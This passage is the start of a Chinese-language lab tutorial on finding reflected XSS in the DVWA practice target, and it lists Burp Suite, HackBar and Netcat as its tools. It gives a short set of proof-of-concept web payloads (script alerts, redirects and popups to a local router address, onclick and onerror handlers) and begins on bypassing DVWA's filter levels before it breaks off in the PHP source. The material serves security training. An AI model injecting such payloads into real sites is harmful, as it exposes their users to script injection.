环境
- 靶机:dvwa
- 测试工具:BurpSuit,HackBar, Netcat
XSS 漏洞产生的原因,和 SQL 注入有“异曲同工之妙”,所以 XSS 又称作“ HTML 注入”,都是没有对用户输入的内容,进行检查过滤而导致站点被恶意利用,或者服务器数据被窃取,那么如何发现 XSS 漏洞的存在呢
一、验证思路
① 输入的内容提交后,查找当前页面中,有无显示输入的内容
② 输入漏洞验证代码,看是否有效
二、漏洞验证Poc
利用 HTML 语言中的几个常见的标签,以及 javascript,可以实现验证漏洞是否存在
例子中跳转的网页,我用的自己的路由器后台管理地址。
1 <script>alert('xss')</script>
2 <script>window.location="http://192.168.31.1"</script>
3 <script>window.open('http://192.168.31.1')</script>
3 <a href="http://192.168.31.1">click here</a>
4 <a href="" οnclick=alert('xss')>click here</a>
5 <img src="http://192.168.31.1/a.img" οnerrοr=alert('xss')>
当然,不是什么时候都会有效果
随着靶场等级的提高,对用户的输入内容就会愈加严格检查和过滤
思路要骚,才能绕过限制:D
① 靶场等级:low
没有任何过滤,输入的所有poc均生效
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[